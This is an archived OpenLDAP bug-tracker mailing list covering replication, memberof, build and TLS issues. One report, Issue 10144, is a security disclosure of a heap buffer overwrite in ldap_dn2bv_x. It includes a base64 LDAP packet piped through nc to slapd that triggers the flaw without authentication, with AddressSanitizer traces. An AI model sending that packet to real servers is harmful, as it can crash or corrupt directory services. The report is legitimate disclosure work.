15 Feb '24

https://bugs.openldap.org/show_bug.cgi?id=7400 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Status|UNCONFIRMED |RESOLVED Resolution|--- |FIXED --- Comment #12 from Quanah Gibson-Mount <quanah(a)openldap.org> --- head: • ab55c7fd by Howard Chu at 2024-02-06T01:22:58+00:00 ITS#7400 memberof: note consumers must use exattr RE26: • 6b81fca5 by Howard Chu at 2024-02-15T17:56:24+00:00 ITS#7400 memberof: note consumers must use exattr -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9823] New: syncprov doesn't fallback when deltasync consumer's offline beyond accesslog depth
by openldap-its＠openldap.org 15 Feb '24

15 Feb '24

https://bugs.openldap.org/show_bug.cgi?id=9823 Issue ID: 9823 Summary: syncprov doesn't fallback when deltasync consumer's offline beyond accesslog depth Product: OpenLDAP Version: 2.6.1 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: smckinney(a)symas.com Target Milestone: --- Configured w/ deltasync. When a consumer goes offline for a duration exceeding the the logpurge interval, won't fallback into syncrepl, resulting in a dsync. -- You are receiving this mail because: You are on the CC list for the issue.

1 17

[Issue 10178] New: deltaMPR conflict resolution issues
by openldap-its＠openldap.org 15 Feb '24

15 Feb '24

https://bugs.openldap.org/show_bug.cgi?id=10178 Issue ID: 10178 Summary: deltaMPR conflict resolution issues Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review, replication Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- Created attachment 1013 --> https://bugs.openldap.org/attachment.cgi?id=1013&action=edit Illustation environment When a data conflict is introduced (multiple writes to the same entry in different providers), there are three different strategies and they are incompatible, see the attached test script for an example. 1. DeltaMPR providers have access to accesslog and reinterpret the operation as if it happened in CSN order 2. Delta consumers (olcMultiProvider: FALSE) have the above code disabled so have to accept the accesslog entry as-is, but the entry represents the original, not reinterpreted write 3. plain syncrepl - just ignores the out of order version This *cannot* (and does not) mesh well as at least 1. and 3. are always around in deltaMPR. -- You are receiving this mail because: You are on the CC list for the issue.

1 1

[Issue 10174] New: Fails to authenticate user against Active directory if double space is present in the user's DN in AD
by openldap-its＠openldap.org 12 Feb '24

12 Feb '24

https://bugs.openldap.org/show_bug.cgi?id=10174 Issue ID: 10174 Summary: Fails to authenticate user against Active directory if double space is present in the user's DN in AD Product: OpenLDAP Version: 2.4.44 Hardware: All OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: codedriller(a)gmail.com Target Milestone: --- In a proxy configuration when using Meta backend to connect to Active directory, an AD user can't be authenticated through OpenLDAP if there is a double space somewhere in his or her Active directory's DN, for example: CN=John Doe,OU=IT Department,DC=example,DC=com. I'm no LDAP expert but I suppose that the reason for this is that after slapd does initial samAccountName search, it normalizes the found DN including removing a double space according to RFC 2252 paragraph 8.1., then the bind attempt is made using the normalized DN and it fails, because Active directory has no built-in double space removal (or it can be disabled somehow), and the normalized DN does not match the real DN in Active directory. Excuse me if my usage of LDAP terms is not accurate. -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 5625] memberOf search ACLs
by openldap-its＠openldap.org 01 Feb '24

01 Feb '24

1 0

[Issue 7400] Memberof and Syncrepl incompatibility
by openldap-its＠openldap.org 01 Feb '24

01 Feb '24

1 0

[Issue 7249] slapd segfault with memberof overlay on frontend db
by openldap-its＠openldap.org 01 Feb '24

01 Feb '24

https://bugs.openldap.org/show_bug.cgi?id=7249 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Target Milestone|--- |2.6.8 -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 7249] slapd segfault with memberof overlay on frontend db
by openldap-its＠openldap.org 01 Feb '24

01 Feb '24

https://bugs.openldap.org/show_bug.cgi?id=7249 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Ever confirmed|1 |0 Status|VERIFIED |UNCONFIRMED Resolution|WONTFIX |--- --- Comment #19 from Quanah Gibson-Mount <quanah(a)openldap.org> --- Looking to fix memberOf rather than deprecate, re-opening -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9795] New: Remove memberof overlay
by openldap-its＠openldap.org 01 Feb '24

01 Feb '24

https://bugs.openldap.org/show_bug.cgi?id=9795 Issue ID: 9795 Summary: Remove memberof overlay Product: OpenLDAP Version: 2.6.1 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- The memberof overlay was deprecated with the release of OpenLDAP 2.5. It should be removed prior for the next minor release (i.e., 2.7) -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 7249] slapd segfault with memberof overlay on frontend db
by openldap-its＠openldap.org 31 Jan '24

31 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=7249 --- Comment #18 from Ondřej Kuzník <ondra(a)mistotebe.net> --- Looking at the Arch patch, might be related to ITS#10135? -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 6509] slapo-memberof follow cascading group membership
by openldap-its＠openldap.org 31 Jan '24

31 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=6509 Ondřej Kuzník <ondra(a)mistotebe.net> changed: What |Removed |Added ---------------------------------------------------------------------------- See Also| |https://bugs.openldap.org/s | |how_bug.cgi?id=10161 -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 10014] New: TLS handle using MbedTLS
by openldap-its＠openldap.org 30 Jan '24

30 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10014 Issue ID: 10014 Summary: TLS handle using MbedTLS Product: OpenLDAP Version: 2.6.4 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: contrib Assignee: bugs(a)openldap.org Reporter: johan.pascal(a)linphone.org Target Milestone: --- Created attachment 950 --> https://bugs.openldap.org/attachment.cgi?id=950&action=edit Add a TLS handle using MbedTLS Hi, I wrote a TLS handle based on MbedTLS. I attach the patch here but I can also put in on gitlab and make a merge request there. The patch contains the minimal modifications to build openldap using MbedTLS as backend for TLS. You must run aclocal, autoheader amd autoconf to regenerate the archived aclocal.m4, configure and include/portable.hin files. This contribution was originally written for the linphone project, and copyright belongs to Belledonne Communications SARL. The attached file is derived from OpenLDAP Software. All of the modifications to OpenLDAP Software represented in the following patch were developed by Belledonne Communications SARL. Belledonne Communications SARL has not assigned rights and/or interest in this work to any party. I, Johan Pascal am authorized by Belledonne Communications, my employer, to release this work under the following terms. The attached modifications to OpenLDAP Software are subject to the following notice: Copyright 2010-2023 Belledonne Communications SARL Redistribution and use in source and binary forms, with or without modification, are permitted only as authorized by the OpenLDAP Public License. -- You are receiving this mail because: You are on the CC list for the issue.

1 18

[Issue 10142] New: lloadd's cn=config startup is broken
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10142 Issue ID: 10142 Summary: lloadd's cn=config startup is broken Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: lloadd Assignee: ondra(a)mistotebe.net Reporter: ondra(a)mistotebe.net Target Milestone: --- During startup, tiers aren't being linked into the `tiers` linked list. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10143] New: only use logfile in server mode
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10143 Issue ID: 10143 Summary: only use logfile in server mode Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- Only slapd should be using the logfile, not the slap* tools. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10080] New: refreshAndPersist synchronization problem with glue + rwm
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10080 Issue ID: 10080 Summary: refreshAndPersist synchronization problem with glue + rwm Product: OpenLDAP Version: 2.6.2 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: homma(a)allworks.co.jp Target Milestone: --- Created attachment 972 --> https://bugs.openldap.org/attachment.cgi?id=972&action=edit Stack trace of segfault I have an openldap 2.6.2 server "ldap1" with the following DIT: dc=example,dc=com (back-mdb) ou=users ou=local cn=admin cn=sync ... ou=remote (back-ldap -> ldaps://dc1.example.com) ... Local user entries are created under subtree "ou=local,ou=users,dc=example,dc=com", and the subtree "ou=remote,ou=users,dc=example,dc=com" is a proxy to an Active Directory server "dc1.example.com" (subtree "ou=users,dc=ad,dc=example,dc=com"). The concrete configuration is as follows: ---------------- dn: olcDatabase={2}ldap,cn=config objectClass: olcDatabaseConfig objectClass: olcLDAPConfig olcDatabase: {2}ldap olcSuffix: ou=remote,ou=users,dc=example,dc=com olcSubordinate: TRUE olcRootDN: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth olcDbURI: ldaps://dc1.example.com olcDbIDAssertBind: bindmethod=simple binddn="cn=aduser,ou=users,dc=ad,dc=example,dc=com" credentials=secret tls_reqcert=demand mode=none olcDbIDAssertAuthzFrom: {0}dn.exact:gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth olcDbIDAssertAuthzFrom: {1}dn.exact:cn=admin,ou=local,ou=users,dc=example,dc=com dn: olcOverlay={0}rwm,olcDatabase={2}ldap,cn=config objectClass: olcOverlayConfig objectClass: olcRwmConfig olcOverlay: {0}rwm olcRwmRewrite: {0}rwm-suffixmassage "ou=users,dc=ad,dc=example,dc=com" olcRwmMap: {0}objectclass inetOrgPerson organizationalPerson olcRwmMap: {1}objectclass posixAccount user olcRwmMap: {2}attribute uid sAMAccountName olcRwmMap: {3}attribute homeDirectory unixHomeDirectory olcRwmMap: {4}attribute ou * olcRwmMap: {5}attribute cn * olcRwmMap: {6}attribute sn * olcRwmMap: {7}attribute givenName * olcRwmMap: {8}attribute mail * olcRwmMap: {9}attribute uidNumber * olcRwmMap: {10}attribute gidNumber * olcRwmMap: {11}attribute * dn: olcDatabase={3}mdb,cn=config objectClass: olcDatabaseConfig objectClass: olcMdbConfig olcDatabase: {3}mdb olcDbDirectory: /var/lib/ldap olcSuffix: dc=example,dc=com olcRootDN: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth olcAccess: {0}to * by dn.exact="cn=admin,ou=local,ou=users,dc=example,dc=com" write by dn.exact="cn=sync,ou=local,ou=users,dc=example,dc=com" write by * break olcAccess: {1}to attrs=userPassword by anonymous auth by self write by * none olcAccess: {2}to * by * read olcDbIndex: objectClass eq,pres olcDbIndex: ou,cn,mail,surname,givenname eq,pres,sub ---------------- So far, so good. A subtree search on "ou=users,dc=example,dc=com" returns both local and remote users. But when I create the second server "ldap2" with similar configuration and configure refreshAndPersist replication, I run into a problem. (1) When I configure on "ldap1" server, ---------------- dn: olcOverlay={0}syncprov,olcDatabase={3}mdb,cn=config objectClass: olcOverlayConfig objectClass: olcSyncProvConfig olcOverlay: {0}syncprov ---------------- and on "ldap2" server, ---------------- dn: olcDatabase={3}mdb,cn=config changeType: modify replace: olcSyncrepl olcSyncrepl: {0}rid=301 provider="ldap://ldap1/" bindmethod=simple binddn="cn=sync,ou=local,ou=users,dc=example,dc=com" credentials=secret searchbase="dc=example,dc=com" type=refreshAndPersist retry="5 12 60 +" timeout=1 ---------------- the initial refresh stage fails. (a) Whith the above configuration, the refresh failes with "(48) Inappropriate authentication", because the bind DN "cn=sync,ou=local,ou=users,dc=example,dc=com" does not have access to the subordinate database. (b) When I add "cn=sync,ou=local,ou=users,dc=example,dc=com" to the ID assertion list on "ldap1" server, ---------------- dn: olcDatabase={2}ldap,cn=config changeType: modify add: olcDbIDAssertAuthzFrom olcDbIDAssertAuthzFrom: {2}dn.exact:cn=sync,ou=local,ou=users,dc=example,dc=com ---------------- the refresh fails with "(12) Critical extension is unavailable", because Active Directory does not support Sync Request Control. (c) Even if the remote server supports Sync Request Control, the refresh fails with the message "server sent multiple refreshDone messages? Ending session". The refreshDone messages are sent twice, one for the sperior databese and the other for the subordinate database. (d) If I delete olcSubordinate attribute and restart slapd on "ldap1" server, ---------------- dn: olcDatabase={2}ldap,cn=config changeType: modify delete: olcSubordinate ---------------- then the refresh stage completes successfully. Once the persistent session is established, I can add olcSubordinate attribute again. ---------------- dn: olcDatabase={2}ldap,cn=config changeType: modify add: olcSubordinate olcSubordinate: TRUE ---------------- When I modify entries in the subordinate database on "ldap1" server, no change notification is sent to "ldap2" server. This is the desired behavior, but if I restart slapd on "ldap1" server, the refresh starts failing again. (2) When I configure the glue overlay explicitly before the syncprov overlay, as described in "man slapd-config", ---------------- dn: olcOverlay={0}glue,olcDatabase={3}mdb,cn=config objectClass: olcOverlayConfig objectClass: olcConfig olcOverlay: {0}glue dn: olcOverlay={1}syncprov,olcDatabase={3}mdb,cn=config objectClass: olcOverlayConfig objectClass: olcSyncProvConfig olcOverlay: {1}syncprov ---------------- the refresh stage completes successfully without attempting to search the subordinate database. This is fine because I do not need to synchronize the subordinate database between "ldap1" and "ldap2" servers. However, when I modify an entry in the subordinate database on "ldap1" server, slapd crashes by segmentation fault. See the attached file for stack trace. After some research, I found that the cause of the crash is as follows: In syncprov_matchops(), it attempts to get the modified entry with DN = op->o_req_ndn. But since op->o_req_ndn has been rewritten in the rmw overlay, glue_back_select() incorrectly selects the mdb backend, which should be the ldap backend. At this point, op->o_bd->be_private holds a value of type ldapinfo_t, but mdb_entry_get() tries to interpret it as type struct mdb_info, causing a segfault. In summary, the problem is: When I configure refreshAndPersist synchronization for a database with a subordinate ldap backend using DN rewriting, (1) The subordinate database cannot be excluded from both refresh and persistent stage of the synchronization: When the glue overlay is not explicitly configured: - In the refresh stage, the subordinate database is included in the search. - In the persist stage, the subordinate database is excluded from the synchronization. When the glue overlay is explicitly configured before the syncprov overlay: - In the refresh stage, the subordinate database is excluded from the search. - In the persist stage, the subordinate database is included in the synchronization. This seems to be inconsistent. (2) If the subordinate database is included in the refresh stage, the refresh fails for one of the following reasons: - the syncrepl user is not allowed to access the subordinate database - the remote server does not support Sync Request Control - multiple refreshDone messages are returned The refresh stage completes successfully if olcSubordinate attribute is deleted from the subordinate database. olcSubordinate attribute can be added again once the persistent session is established, but the refresh stage starts failing again if slapd is restarted. (3) If the subordinate database is included in the persist stage, modifying entries in the subordinate database causes slapd to crash. -- You are receiving this mail because: You are on the CC list for the issue.

1 23

[Issue 10098] New: contrib modules don't build on Windows
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10098 Issue ID: 10098 Summary: contrib modules don't build on Windows Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- Need a couple tweaks to the Makefiles. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10092] New: Local logging doesn't build on Windows
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10092 Issue ID: 10092 Summary: Local logging doesn't build on Windows Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- slapd/logging.c uses writev() to write a prefix and the log message together in one call. This feature doesn't exist on Windows. The closest equivalent, WriteFileGather, only works on page sized and aligned writes. On Windows the only way to write as desired is to copy the message into a new buffer first. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10130] New: Several callers of getpassphrase() ignore NULL returns
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10130 Issue ID: 10130 Summary: Several callers of getpassphrase() ignore NULL returns Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: stacey.marshall(a)gmail.com Target Milestone: --- getpassphrase(3c) and lutil_getpass() can return NULL to signify EOF, and in the case of the former for an interrupt or an error. Several callers fail to check for NULL before calling other functions which may then cause other issues such as segmentation fault. A patch in progress treats NULL as EOF and provides an early exit. ``` $ git status --short -uno M clients/tools/common.c M clients/tools/ldappasswd.c M clients/tools/ldapvc.c M servers/slapd/slappasswd.c M tests/progs/slapd-tester.c ``` -- You are receiving this mail because: You are on the CC list for the issue.

1 12

[Issue 10129] New: lloadd.conf(5) manpage incorrect
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10129 Issue ID: 10129 Summary: lloadd.conf(5) manpage incorrect Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: documentation Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- keepalive, tcp-user-timeout and tls_* are available in the bindconf section but the manpage errorneously lists them as configurable on backend-server. -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 10144] New: Buffer overwrite in ldap_dn2bv_x
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10144 Issue ID: 10144 Summary: Buffer overwrite in ldap_dn2bv_x Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: joshua(a)joshua.hu Target Milestone: --- Created attachment 995 --> https://bugs.openldap.org/attachment.cgi?id=995&action=edit ldap.c Hi there, While performing a security audit of openldap, I've discovered a buffer overwrite in the ldap_dn2bv_x function of libldap which can be triggered via an unauthenticated packet to slapd. The issue is specifically in this part oft he code: 3069 /* 3070 * trim the last ',' (the allocated memory 3071 * is one byte longer than required) 3072 */ 3073 bv->bv_len = len - 1; 3074 bv->bv_val[ bv->bv_len ] = '\0'; 'len' may be 0, therefore bv->bv_len becomes (unsigned long)-1 == 18446744073709551615, causing a one-byte buffer overwrite in bv->bv_len. It may be len when rdn2str returns 0: 3055 for ( l = 0, iRDN = 0; dn[ iRDN ]; iRDN++ ) { 3056 ber_len_t rdnl; 3057 3058 if ( rdn2str( dn[ iRDN ], &bv->bv_val[ l ], flags, 3059 &rdnl, sv2s ) ) { 3060 LDAP_FREEX( bv->bv_val, ctx ); 3061 bv->bv_val = NULL; 3062 goto return_results; 3063 } 3064 l += rdnl; 3065 } which it may do if 2571 static int 2572 rdn2str( LDAPRDN rdn, char *str, unsigned flags, ber_len_t *len, 2573 int ( *s2s ) ( struct berval *v, char * s, unsigned f, ber_len_t *l ) ) 2574 { 2575 int iAVA; 2576 ber_len_t l = 0; 2577 2578 for ( iAVA = 0; rdn[ iAVA ]; iAVA++ ) { [...] 2606 *len = l; 2607 2608 return( 0 ); 2609 } rdn[0] (i.e. dn[0][0]) is zero. There is already a check in ldap_dn2bv_x to ensure that there is not a null distinguished name, but no check for a null relative distinguished name: 3021 /* 3022 * a null dn means an empty dn string 3023 * FIXME: better raise an error? 3024 */ 3025 if ( dn == NULL || dn[0] == NULL ) { 3026 bv->bv_val = LDAP_STRDUPX( "", ctx ); 3027 return( LDAP_SUCCESS ); 3028 } This can be reproduced using the API and compiling with address sanitizer: clang -g -O0 -fsanitize=address -o ldap ldap.c -I/usr/local/include -L/usr/local/lib -Wl,-rpath=/usr/local/lib -lldap which crashes: ================================================================= ==2685861==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000004c0f at pc 0x7ffff7ecae9d bp 0x7fffffff7390 sp 0x7fffffff7388 WRITE of size 1 at 0x602000004c0f thread T0 #0 0x7ffff7ecae9c in ldap_dn2bv_x /home/jrogers/openldap-clean/libraries/libldap/getdn.c:3074:28 #1 0x7ffff7f30135 in ldap_X509dn2bv /home/jrogers/openldap-clean/libraries/libldap/tls2.c:1686:7 #2 0x55555563000f in main /home/jrogers/ldap2.c:19:14 #3 0x7ffff7b25d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0) #4 0x7ffff7b25e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0) #5 0x555555572324 in _start (/home/jrogers/test+0x1e324) (BuildId: 5207fff637c8f2edc46784bf828dc09fddd34d85) 0x602000004c0f is located 1 bytes to the left of 1-byte region [0x602000004c10,0x602000004c11) allocated by thread T0 here: #0 0x5555555f516e in malloc (/home/jrogers/test+0xa116e) (BuildId: 5207fff637c8f2edc46784bf828dc09fddd34d85) #1 0x7ffff7ae8303 in ber_memalloc_x /home/jrogers/openldap-clean/libraries/liblber/memory.c:228:9 #2 0x7ffff7eca968 in ldap_dn2bv_x /home/jrogers/openldap-clean/libraries/libldap/getdn.c:3050:23 #3 0x7ffff7f30135 in ldap_X509dn2bv /home/jrogers/openldap-clean/libraries/libldap/tls2.c:1686:7 #4 0x55555563000f in main /home/jrogers/ldap2.c:19:14 #5 0x7ffff7b25d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0) Alternatively you can send the following to a running slapd server: printf "MIIB5AIEMDAwMEqCATBPPTAwMDAwMDAwMDAwMDAwMDDvvrLvvrLvvrLvvrLvvrLvvrLvp7LvvrLvtrLvvrLvvrLvvrLvvrLvvrLvvrLvvrIsCgoKMi41LjQuMzk9MGswMDAGMDAwMDAwMAYxATEwMTAYGDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA4XDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAMDMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA=" | base64 -d | nc localhost 389 which will exhibit the same behavior: ==1673381==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200004c14f at pc 0x7ffff7ec0e9d bp 0x7fffb40c6e70 sp 0x7fffb40c6e68 WRITE of size 1 at 0x60200004c14f thread T2 [Detaching after fork from child process 3777333] #0 0x7ffff7ec0e9c in ldap_dn2bv_x /home/jrogers/openldap-clean/libraries/libldap/getdn.c:3074:28 #1 0x7ffff7f26135 in ldap_X509dn2bv /home/jrogers/openldap-clean/libraries/libldap/tls2.c:1686:7 #2 0x555555820765 in dnX509normalize (/usr/local/libexec/slapd+0x2cc765) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #3 0x5555558e55a1 (/usr/local/libexec/slapd+0x3915a1) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #4 0x555555819d06 (/usr/local/libexec/slapd+0x2c5d06) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #5 0x5555558187b8 (/usr/local/libexec/slapd+0x2c47b8) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #6 0x55555581c6de in dnPrettyNormal (/usr/local/libexec/slapd+0x2c86de) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #7 0x555555835c95 in do_delete (/usr/local/libexec/slapd+0x2e1c95) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #8 0x5555557a8ef5 (/usr/local/libexec/slapd+0x254ef5) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #9 0x5555557a21f9 (/usr/local/libexec/slapd+0x24e1f9) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #10 0x7ffff7f592c4 in ldap_int_thread_pool_wrapper /home/jrogers/openldap-clean/libraries/libldap/tpool.c:1059:3 #11 0x7ffff785eac2 (/lib/x86_64-linux-gnu/libc.so.6+0x94ac2) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0) #12 0x7ffff78f065f (/lib/x86_64-linux-gnu/libc.so.6+0x12665f) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0) -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10117] New: missing function declarations in slap-config.h
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10117 Issue ID: 10117 Summary: missing function declarations in slap-config.h Product: OpenLDAP Version: 2.6.6 Hardware: All OS: Windows Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: mhardin(a)symas.com Target Milestone: --- Functions exported from slap-config.h need to be properly declared for Windows -- You are receiving this mail because: You are on the CC list for the issue.

1 6

[Issue 10074] New: lloadd: build broken with more recent versions of LLVM
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10074 Issue ID: 10074 Summary: lloadd: build broken with more recent versions of LLVM Product: OpenLDAP Version: 2.6.4 Hardware: All OS: FreeBSD Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: lloadd Assignee: bugs(a)openldap.org Reporter: delphij(a)freebsd.org Target Milestone: --- There are two issues preventing lloadd from building with more recent versions of LLVM. These are discovered on FreeBSD but may affect other operating systems too. The first one is that ldap_pvt_thread_self is returning pthread_t (which is a pointer of struct pthread) on FreeBSD, but evthread_set_id_callback was expecting unsigned long. A possible solution would be to create a wrapper for the function, like: --- servers/lloadd/libevent_support.c.orig 2023-02-08 18:53:35 UTC +++ servers/lloadd/libevent_support.c @@ -131,6 +131,20 @@ lload_libevent_cond_timedwait( return ldap_pvt_thread_cond_wait( cond, mutex ); } +/* + * libevent2 expects the thread id has a type of unsigned long. + */ +static unsigned long +lload_libevent_thread_self(void) +{ + unsigned long retval; + static_assert(sizeof(ldap_pvt_thread_t) <= sizeof(unsigned long), + "ldap_pvt_thread_t has to be smaller or equal to unsigned long"); + + retval = (unsigned long)ldap_pvt_thread_self(); + return (retval); +} + int lload_libevent_init( void ) { @@ -152,7 +166,7 @@ lload_libevent_init( void ) evthread_set_lock_callbacks( &cbs ); evthread_set_condition_callbacks( &cond_cbs ); - evthread_set_id_callback( ldap_pvt_thread_self ); + evthread_set_id_callback( lload_libevent_thread_self ); return 0; } Or, maybe the code should just use evthread_use_pthreads() instead? (It's not very clear to me why we have the ldap_pvt_thread_self wrapper). Another issue is that module_init.c is trying to assign config_generic_wrapper to bi->bi_config: module_init.c:154:19: error: incompatible function pointer types assigning to 'BI_config *' (aka 'int (*)(struct BackendInfo *, const char *, int, int, char **)') from 'int (Backend *, const char *, int, int, char **)' (aka 'int (struct BackendDB *, const char *, int, int, char **)') [-Wincompatible-function-pointer-types] bi->bi_config = config_generic_wrapper; ^ ~~~~~~~~~~~~~~~~~~~~~~ For other backends, it's used as bi_db_config. It seems that I can set bi_config to NULL and bi_db_config to config_generic_wrapper, but it's not clear to me what the original intention was... -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10025] New: Add option to disable filtered searches for memberURL groups
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10025 Issue ID: 10025 Summary: Add option to disable filtered searches for memberURL groups Product: OpenLDAP Version: 2.5.14 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: subbarao(a)computer.org Target Milestone: --- One of the changes from 2.4 to 2.5 is that dynlist groups are now returned with (member=memberDN) searches. This is potentially appealing, but even with the ITS#9929 performance improvements, given the number of dynlist groups we have, search times are significantly impacted. We'd like to be able to cleanly disable this feature and exclude dynlist groups from (member=memberDN) filter consideration. The only way I've found so far is to patch the dynlist code itself. What I'm currently doing is adding a continue statement right above this line in dynlist_search(): https://git.openldap.org/openldap/openldap/-/blob/OPENLDAP_REL_ENG_2_5_14/s… That way the member searches are excluded, but dynlists otherwise work as expected. Here is the dynlist config we're using, just basic support for groupOfURLs/memberURL: overlay dynlist dynlist-attrset groupOfURLs memberURL member I'd like to request a configurable option to exclude dynlists from (member=memberDN) searches. -- You are receiving this mail because: You are on the CC list for the issue.

1 10

[Issue 10083] New: lload: Receiving a NoD while connection is closing already corrupts c_state
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

